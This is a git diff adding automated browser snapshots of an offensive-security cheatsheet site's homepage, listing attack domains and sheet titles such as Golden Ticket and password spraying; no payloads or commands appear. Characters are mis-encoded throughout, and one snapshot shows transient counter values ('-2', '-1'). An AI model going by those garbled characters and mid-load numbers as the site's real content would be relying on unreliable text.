+        - link "github / daemon-sec-cheatsheet β†—" [ref=e544] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=e545]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=e546] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=e547] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=e548]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=e549]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-02-43-446Z.yml b/.playwright-mcp/page-2026-08-10T08-02-43-446Z.yml
@@ -0,0 +1,419 @@
+- generic [ref=e550]:
+  - banner [ref=e551]:
+    - generic [ref=e552]:
+      - link "DÆMON//SEC home" [ref=e553] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=e554]: //
+        - text: SEC
+        - generic [ref=e555]: _
+      - navigation "Primary" [ref=e556]:
+        - link "01 Vault" [ref=e557] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=e558]: "01"
+          - generic [ref=e559]: Vault
+        - link "02 Payloads" [ref=e560] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=e561]: "02"
+          - generic [ref=e562]: Payloads
+        - link "03 Tags" [ref=e563] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=e564]: "03"
+          - generic [ref=e565]: Tags
+        - link "04 Credits" [ref=e566] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=e567]: "04"
+          - generic [ref=e568]: Credits
+      - generic [ref=e569]:
+        - button "Search cheatsheets" [active] [ref=e570] [cursor=pointer]:
+          - generic [ref=e573]: Search
+          - generic [ref=e574]: /
+        - button "Toggle theme" [ref=e575] [cursor=pointer]
+        - link "DÆMON main site" [ref=e580] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=e583] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=e586]:
+    - generic [ref=e588]:
+      - generic [ref=e589]:
+        - heading "D Γ† M O N" [level=1] [ref=e591]:
+          - generic [ref=e592]: D
+          - generic [ref=e593]: Γ†
+          - generic [ref=e594]: M
+          - generic [ref=e595]: O
+          - generic [ref=e596]: "N"
+        - paragraph [ref=e599]:
+          - generic [ref=e600]: The cheatsheet vault
+      - generic [ref=e602]:
+        - generic [ref=e603]:
+          - generic [ref=e604]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=e605]
+          - paragraph [ref=e606]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=e607]:
+            - button "Search the vault" [ref=e608] [cursor=pointer]
+            - link "Payloads" [ref=e612] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=e616]:
+          - generic [ref=e617]:
+            - generic [ref=e618]:
+              - generic [ref=e619]: daemon@sec
+              - generic [ref=e620]: ~
+              - generic [ref=e621]: "%"
+              - generic [ref=e622]: whoami --vault
+            - generic [ref=e624]:
+              - term [ref=e625]: scope
+              - definition [ref=e626]: Offensive security Β· red team Β· DFIR
+              - term [ref=e627]: format
+              - definition [ref=e628]: Copy-ready commands, current tool flags
+              - term [ref=e629]: search
+              - definition [ref=e630]: Pagefind Β· offline Β· zero tracking
+              - term [ref=e631]: license
+              - definition [ref=e632]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=e633]:
+            - generic [ref=e634]:
+              - term [ref=e635]: Curated cheatsheets
+              - definition [ref=e636]:
+                - text: "214"
+                - generic [ref=e637]: Curatedcheatsheets
+            - generic [ref=e638]:
+              - term [ref=e639]: Operator domains
+              - definition [ref=e640]:
+                - text: "12"
+                - generic [ref=e641]: Operatordomains
+            - generic [ref=e642]:
+              - term [ref=e643]: Mirrored payload pages
+              - definition [ref=e644]:
+                - text: "135"
+                - generic [ref=e645]: Mirroredpayload pages
+    - region "Domains" [ref=e646]:
+      - generic [ref=e647]: "^: Index"
+      - generic [ref=e651]:
+        - generic [ref=e652]:
+          - generic [ref=e653]:
+            - generic [ref=e654]: "01"
+            - generic [ref=e655]: AD
+            - generic [ref=e659]: Active Directory
+            - generic [ref=e660]: 130 sheets
+          - generic [ref=e661]:
+            - generic [ref=e662]: "02"
+            - generic [ref=e663]: ENUM
+            - generic [ref=e667]: Enumeration
+            - generic [ref=e668]: 18 sheets
+          - generic [ref=e669]:
+            - generic [ref=e670]: "03"
+            - generic [ref=e671]: PWN
+            - generic [ref=e675]: Exploitation
+            - generic [ref=e676]: 7 sheets
+          - generic [ref=e677]:
+            - generic [ref=e678]: "04"
+            - generic [ref=e679]: PRIV
+            - generic [ref=e683]: Privilege Escalation
+            - generic [ref=e684]: 2 sheets
+          - generic [ref=e685]:
+            - generic [ref=e686]: "05"
+            - generic [ref=e687]: CRED
+            - generic [ref=e691]: Password Attacks
+            - generic [ref=e692]: 3 sheets
+          - generic [ref=e693]:
+            - generic [ref=e694]: "06"
+            - generic [ref=e695]: WEB
+            - generic [ref=e699]: Web
+            - generic [ref=e700]: 9 sheets
+          - generic [ref=e701]:
+            - generic [ref=e702]: "07"
+            - generic [ref=e703]: PIVOT
+            - generic [ref=e707]: Tunneling & Pivoting
+            - generic [ref=e708]: 6 sheets
+          - generic [ref=e709]:
+            - generic [ref=e710]: "08"
+            - generic [ref=e711]: CRYPTO
+            - generic [ref=e715]: Cryptography
+            - generic [ref=e716]: 3 sheets
+          - generic [ref=e717]:
+            - generic [ref=e718]: "09"
+            - generic [ref=e719]: DFIR
+            - generic [ref=e723]: DFIR
+            - generic [ref=e724]: 4 sheets
+          - generic [ref=e725]:
+            - generic [ref=e726]: "10"
+            - generic [ref=e727]: TOOL
+            - generic [ref=e731]: Tools
+            - generic [ref=e732]: 18 sheets
+          - generic [ref=e733]:
+            - generic [ref=e734]: "11"
+            - generic [ref=e735]: NIX
+            - generic [ref=e739]: Linux & IT
+            - generic [ref=e740]: 9 sheets
+          - generic [ref=e741]:
+            - generic [ref=e742]: "12"
+            - generic [ref=e743]: GIT
+            - generic [ref=e747]: Git & Workflow
+            - generic [ref=e748]: 5 sheets
+        - generic [ref=e749]:
+          - generic [ref=e750]:
+            - generic [ref=e751]: "01"
+            - generic [ref=e752]: AD
+            - generic [ref=e756]: Active Directory
+            - generic [ref=e757]: 130 sheets
+          - generic [ref=e758]:
+            - generic [ref=e759]: "02"
+            - generic [ref=e760]: ENUM
+            - generic [ref=e764]: Enumeration
+            - generic [ref=e765]: 18 sheets
+          - generic [ref=e766]:
+            - generic [ref=e767]: "03"
+            - generic [ref=e768]: PWN
+            - generic [ref=e772]: Exploitation
+            - generic [ref=e773]: 7 sheets
+          - generic [ref=e774]:
+            - generic [ref=e775]: "04"
+            - generic [ref=e776]: PRIV
+            - generic [ref=e780]: Privilege Escalation
+            - generic [ref=e781]: 2 sheets
+          - generic [ref=e782]:
+            - generic [ref=e783]: "05"
+            - generic [ref=e784]: CRED
+            - generic [ref=e788]: Password Attacks
+            - generic [ref=e789]: 3 sheets
+          - generic [ref=e790]:
+            - generic [ref=e791]: "06"
+            - generic [ref=e792]: WEB
+            - generic [ref=e796]: Web
+            - generic [ref=e797]: 9 sheets
+          - generic [ref=e798]:
+            - generic [ref=e799]: "07"
+            - generic [ref=e800]: PIVOT
+            - generic [ref=e804]: Tunneling & Pivoting
+            - generic [ref=e805]: 6 sheets
+          - generic [ref=e806]:
+            - generic [ref=e807]: "08"
+            - generic [ref=e808]: CRYPTO
+            - generic [ref=e812]: Cryptography
+            - generic [ref=e813]: 3 sheets
+          - generic [ref=e814]:
+            - generic [ref=e815]: "09"
+            - generic [ref=e816]: DFIR
+            - generic [ref=e820]: DFIR
+            - generic [ref=e821]: 4 sheets
+          - generic [ref=e822]:
+            - generic [ref=e823]: "10"
+            - generic [ref=e824]: TOOL
+            - generic [ref=e828]: Tools
+            - generic [ref=e829]: 18 sheets
+          - generic [ref=e830]:
+            - generic [ref=e831]: "11"
+            - generic [ref=e832]: NIX
+            - generic [ref=e836]: Linux & IT
+            - generic [ref=e837]: 9 sheets
+          - generic [ref=e838]:
+            - generic [ref=e839]: "12"
+            - generic [ref=e840]: GIT
+            - generic [ref=e844]: Git & Workflow
+            - generic [ref=e845]: 5 sheets
+      - generic [ref=e846]: 12 domains
+    - generic [ref=e848]:
+      - generic [ref=e850]:
+        - paragraph [ref=e851]:
+          - generic [ref=e852]: "01"
+          - generic [ref=e853]: "^:"
+          - generic [ref=e854]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=e856]
+      - generic [ref=e857]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=e858] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=e859]:
+            - generic [ref=e860]: AD
+            - generic [ref=e861]: "01"
+          - heading "Active Directory" [level=3] [ref=e862]
+          - paragraph [ref=e863]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=e864]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=e867] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=e868]:
+            - generic [ref=e869]: ENUM
+            - generic [ref=e870]: "02"
+          - heading "Enumeration" [level=3] [ref=e871]
+          - paragraph [ref=e872]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=e873]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=e876] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=e877]:
+            - generic [ref=e878]: PWN
+            - generic [ref=e879]: "03"
+          - heading "Exploitation" [level=3] [ref=e880]
+          - paragraph [ref=e881]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=e882]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=e885] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=e886]:
+            - generic [ref=e887]: PRIV
+            - generic [ref=e888]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=e889]
+          - paragraph [ref=e890]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=e891]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=e894] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=e895]:
+            - generic [ref=e896]: CRED
+            - generic [ref=e897]: "05"
+          - heading "Password Attacks" [level=3] [ref=e898]
+          - paragraph [ref=e899]: Cracking, spraying, and credential recovery.
+          - generic [ref=e900]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=e903] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=e904]:
+            - generic [ref=e905]: WEB
+            - generic [ref=e906]: "06"
+          - heading "Web" [level=3] [ref=e907]
+          - paragraph [ref=e908]: XSS, injection, and web application testing.
+          - generic [ref=e909]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=e912] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=e913]:
+            - generic [ref=e914]: PIVOT
+            - generic [ref=e915]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=e916]
+          - paragraph [ref=e917]: Moving through segmented networks and double pivots.
+          - generic [ref=e918]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=e921] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=e922]:
+            - generic [ref=e923]: CRYPTO
+            - generic [ref=e924]: "08"
+          - heading "Cryptography" [level=3] [ref=e925]
+          - paragraph [ref=e926]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=e927]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=e930] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=e931]:
+            - generic [ref=e932]: DFIR
+            - generic [ref=e933]: "09"
+          - heading "DFIR" [level=3] [ref=e934]
+          - paragraph [ref=e935]: Forensics, memory, and registry analysis.
+          - generic [ref=e936]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=e939] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=e940]:
+            - generic [ref=e941]: TOOL
+            - generic [ref=e942]: "10"
+          - heading "Tools" [level=3] [ref=e943]
+          - paragraph [ref=e944]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=e945]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=e948] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=e949]:
+            - generic [ref=e950]: NIX
+            - generic [ref=e951]: "11"
+          - heading "Linux & IT" [level=3] [ref=e952]
+          - paragraph [ref=e953]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=e954]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=e957] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=e958]:
+            - generic [ref=e959]: GIT
+            - generic [ref=e960]: "12"
+          - heading "Git & Workflow" [level=3] [ref=e961]
+          - paragraph [ref=e962]: Version control and operator workflow.
+          - generic [ref=e963]: 5 sheets
+    - link [ref=e966] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=e967]:
+        - generic [ref=e968]:
+          - paragraph [ref=e969]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=e970]
+          - paragraph [ref=e971]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=e972]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=e973]: Browse payloads
+    - generic [ref=e977]:
+      - generic [ref=e978]:
+        - generic [ref=e979]:
+          - paragraph [ref=e980]:
+            - generic [ref=e981]: "03"
+            - generic [ref=e982]: "^:"
+            - generic [ref=e983]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=e985]
+        - link "All tags" [ref=e986] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=e989]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=e990] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=e991]:
+            - generic [ref=e992]: "01"
+            - generic [ref=e993]: ENUM
+            - generic [ref=e997]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=e998]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=e1002] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=e1003]:
+            - generic [ref=e1004]: "02"
+            - generic [ref=e1005]: ENUM
+            - generic [ref=e1009]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=e1010]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=e1014] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=e1015]:
+            - generic [ref=e1016]: "03"
+            - generic [ref=e1017]: AD
+            - generic [ref=e1021]: Active-Directory_cheat_sheet
+            - generic [ref=e1022]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=e1026] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=e1027]:
+            - generic [ref=e1028]: "04"
+            - generic [ref=e1029]: ENUM
+            - generic [ref=e1033]: Anonymous Null Testing
+            - generic [ref=e1034]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=e1038] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=e1039]:
+            - generic [ref=e1040]: "05"
+            - generic [ref=e1041]: AD
+            - generic [ref=e1045]: "Attack #1 β€” Password Spraying"
+            - generic [ref=e1046]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=e1050] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=e1051]:
+            - generic [ref=e1052]: "06"
+            - generic [ref=e1053]: AD
+            - generic [ref=e1057]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=e1058]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=e1062] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=e1063]:
+            - generic [ref=e1064]: "07"
+            - generic [ref=e1065]: AD
+            - generic [ref=e1069]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=e1070]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=e1074] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=e1075]:
+            - generic [ref=e1076]: "08"
+            - generic [ref=e1077]: AD
+            - generic [ref=e1081]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=e1082]: 2026-08-10
+  - contentinfo [ref=e1086]:
+    - generic [ref=e1087]:
+      - generic [ref=e1088]:
+        - link "DÆMON // SEC" [ref=e1089] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=e1090]: //
+          - text: SEC
+        - paragraph [ref=e1091]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=e1092]:
+        - link "daemon-404.github.io β†—" [ref=e1093] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=e1094] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=e1095]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=e1096] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=e1097] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=e1098]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=e1099]: RosΓ© Pine Β· Astro Β· Pagefind
+  - generic [ref=e1100]: DÆMON//SEC — Cyber & IT Cheatsheet Vault
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-03-46-589Z.yml b/.playwright-mcp/page-2026-08-10T08-03-46-589Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f1e1]:
+  - banner [ref=f1e2]:
+    - generic [ref=f1e3]:
+      - link "DÆMON//SEC home" [ref=f1e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f1e5]: //
+        - text: SEC
+        - generic [ref=f1e6]: _
+      - navigation "Primary" [ref=f1e7]:
+        - link "01 Vault" [ref=f1e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f1e9]: "01"
+          - generic [ref=f1e10]: Vault
+        - link "02 Payloads" [ref=f1e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f1e12]: "02"
+          - generic [ref=f1e13]: Payloads
+        - link "03 Tags" [ref=f1e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f1e15]: "03"
+          - generic [ref=f1e16]: Tags
+        - link "04 Credits" [ref=f1e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f1e18]: "04"
+          - generic [ref=f1e19]: Credits
+      - generic [ref=f1e20]:
+        - button "Search cheatsheets" [ref=f1e21] [cursor=pointer]:
+          - generic [ref=f1e24]: Search
+          - generic [ref=f1e25]: /
+        - button "Toggle theme" [ref=f1e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f1e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f1e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f1e37]:
+    - generic [ref=f1e39]:
+      - generic [ref=f1e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f1e42]:
+          - generic [ref=f1e43]: D
+          - generic [ref=f1e44]: Γ†
+          - generic [ref=f1e45]: M
+          - generic [ref=f1e46]: O
+          - generic [ref=f1e47]: "N"
+        - paragraph [ref=f1e49]:
+          - generic [ref=f1e50]: The cheatsheet vault
+      - generic [ref=f1e52]:
+        - generic [ref=f1e53]:
+          - generic [ref=f1e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f1e55]
+          - paragraph [ref=f1e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f1e57]:
+            - button "Search the vault" [ref=f1e58] [cursor=pointer]
+            - link "Payloads" [ref=f1e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f1e66]:
+          - generic [ref=f1e67]:
+            - generic [ref=f1e68]:
+              - generic [ref=f1e69]: daemon@sec
+              - generic [ref=f1e70]: ~
+              - generic [ref=f1e71]: "%"
+              - generic [ref=f1e72]: whoami --vault
+            - generic [ref=f1e74]:
+              - term [ref=f1e75]: scope
+              - definition [ref=f1e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f1e77]: format
+              - definition [ref=f1e78]: Copy-ready commands, current tool flags
+              - term [ref=f1e79]: search
+              - definition [ref=f1e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f1e81]: license
+              - definition [ref=f1e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f1e83]:
+            - generic [ref=f1e84]:
+              - term [ref=f1e85]: Curated cheatsheets
+              - definition [ref=f1e86]:
+                - text: "-2"
+                - generic [ref=f1e87]: Curatedcheatsheets
+            - generic [ref=f1e88]:
+              - term [ref=f1e89]: Operator domains
+              - definition [ref=f1e90]:
+                - text: "00"
+                - generic [ref=f1e91]: Operatordomains
+            - generic [ref=f1e92]:
+              - term [ref=f1e93]: Mirrored payload pages
+              - definition [ref=f1e94]:
+                - text: "-1"
+                - generic [ref=f1e95]: Mirroredpayload pages
+    - region "Domains" [ref=f1e96]:
+      - generic [ref=f1e97]: "^: Index"
+      - generic [ref=f1e101]:
+        - generic [ref=f1e102]:
+          - generic [ref=f1e103]:
+            - generic [ref=f1e104]: "01"
+            - generic [ref=f1e105]: AD
+            - generic [ref=f1e109]: Active Directory
+            - generic [ref=f1e110]: 130 sheets
+          - generic [ref=f1e111]:
+            - generic [ref=f1e112]: "02"
+            - generic [ref=f1e113]: ENUM
+            - generic [ref=f1e117]: Enumeration
+            - generic [ref=f1e118]: 18 sheets
+          - generic [ref=f1e119]:
+            - generic [ref=f1e120]: "03"
+            - generic [ref=f1e121]: PWN
+            - generic [ref=f1e125]: Exploitation
+            - generic [ref=f1e126]: 7 sheets
+          - generic [ref=f1e127]:
+            - generic [ref=f1e128]: "04"
+            - generic [ref=f1e129]: PRIV
+            - generic [ref=f1e133]: Privilege Escalation
+            - generic [ref=f1e134]: 2 sheets
+          - generic [ref=f1e135]:
+            - generic [ref=f1e136]: "05"
+            - generic [ref=f1e137]: CRED
+            - generic [ref=f1e141]: Password Attacks
+            - generic [ref=f1e142]: 3 sheets
+          - generic [ref=f1e143]:
+            - generic [ref=f1e144]: "06"
+            - generic [ref=f1e145]: WEB
+            - generic [ref=f1e149]: Web
+            - generic [ref=f1e150]: 9 sheets
+          - generic [ref=f1e151]:
+            - generic [ref=f1e152]: "07"
+            - generic [ref=f1e153]: PIVOT
+            - generic [ref=f1e157]: Tunneling & Pivoting
+            - generic [ref=f1e158]: 6 sheets
+          - generic [ref=f1e159]:
+            - generic [ref=f1e160]: "08"
+            - generic [ref=f1e161]: CRYPTO
+            - generic [ref=f1e165]: Cryptography
+            - generic [ref=f1e166]: 3 sheets
+          - generic [ref=f1e167]:
+            - generic [ref=f1e168]: "09"
+            - generic [ref=f1e169]: DFIR
+            - generic [ref=f1e173]: DFIR
+            - generic [ref=f1e174]: 4 sheets
+          - generic [ref=f1e175]:
+            - generic [ref=f1e176]: "10"
+            - generic [ref=f1e177]: TOOL
+            - generic [ref=f1e181]: Tools
+            - generic [ref=f1e182]: 18 sheets
+          - generic [ref=f1e183]:
+            - generic [ref=f1e184]: "11"
+            - generic [ref=f1e185]: NIX
+            - generic [ref=f1e189]: Linux & IT
+            - generic [ref=f1e190]: 9 sheets
+          - generic [ref=f1e191]:
+            - generic [ref=f1e192]: "12"
+            - generic [ref=f1e193]: GIT
+            - generic [ref=f1e197]: Git & Workflow
+            - generic [ref=f1e198]: 5 sheets
+        - generic [ref=f1e199]:
+          - generic [ref=f1e200]:
+            - generic [ref=f1e201]: "01"
+            - generic [ref=f1e202]: AD
+            - generic [ref=f1e206]: Active Directory
+            - generic [ref=f1e207]: 130 sheets
+          - generic [ref=f1e208]:
+            - generic [ref=f1e209]: "02"
+            - generic [ref=f1e210]: ENUM
+            - generic [ref=f1e214]: Enumeration
+            - generic [ref=f1e215]: 18 sheets
+          - generic [ref=f1e216]:
+            - generic [ref=f1e217]: "03"
+            - generic [ref=f1e218]: PWN
+            - generic [ref=f1e222]: Exploitation
+            - generic [ref=f1e223]: 7 sheets
+          - generic [ref=f1e224]:
+            - generic [ref=f1e225]: "04"
+            - generic [ref=f1e226]: PRIV
+            - generic [ref=f1e230]: Privilege Escalation
+            - generic [ref=f1e231]: 2 sheets
+          - generic [ref=f1e232]:
+            - generic [ref=f1e233]: "05"
+            - generic [ref=f1e234]: CRED
+            - generic [ref=f1e238]: Password Attacks
+            - generic [ref=f1e239]: 3 sheets
+          - generic [ref=f1e240]:
+            - generic [ref=f1e241]: "06"
+            - generic [ref=f1e242]: WEB
+            - generic [ref=f1e246]: Web
+            - generic [ref=f1e247]: 9 sheets
+          - generic [ref=f1e248]:
+            - generic [ref=f1e249]: "07"
+            - generic [ref=f1e250]: PIVOT
+            - generic [ref=f1e254]: Tunneling & Pivoting
+            - generic [ref=f1e255]: 6 sheets
+          - generic [ref=f1e256]:
+            - generic [ref=f1e257]: "08"
+            - generic [ref=f1e258]: CRYPTO
+            - generic [ref=f1e262]: Cryptography
+            - generic [ref=f1e263]: 3 sheets
+          - generic [ref=f1e264]:
+            - generic [ref=f1e265]: "09"
+            - generic [ref=f1e266]: DFIR
+            - generic [ref=f1e270]: DFIR
+            - generic [ref=f1e271]: 4 sheets
+          - generic [ref=f1e272]:
+            - generic [ref=f1e273]: "10"
+            - generic [ref=f1e274]: TOOL
+            - generic [ref=f1e278]: Tools
+            - generic [ref=f1e279]: 18 sheets
+          - generic [ref=f1e280]:
+            - generic [ref=f1e281]: "11"
+            - generic [ref=f1e282]: NIX
+            - generic [ref=f1e286]: Linux & IT
+            - generic [ref=f1e287]: 9 sheets
+          - generic [ref=f1e288]:
+            - generic [ref=f1e289]: "12"
+            - generic [ref=f1e290]: GIT
+            - generic [ref=f1e294]: Git & Workflow
+            - generic [ref=f1e295]: 5 sheets
+      - generic [ref=f1e296]: 12 domains
+    - generic [ref=f1e298]:
+      - generic [ref=f1e300]:
+        - paragraph [ref=f1e301]:
+          - generic [ref=f1e302]: "01"
+          - generic [ref=f1e303]: "^:"
+          - generic [ref=f1e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f1e306]
+      - generic [ref=f1e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f1e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f1e309]:
+            - generic [ref=f1e310]: AD
+            - generic [ref=f1e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f1e312]
+          - paragraph [ref=f1e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f1e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f1e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f1e318]:
+            - generic [ref=f1e319]: ENUM
+            - generic [ref=f1e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f1e321]
+          - paragraph [ref=f1e322]: Port, service, web, and host discovery β€” mapping the attack surface.
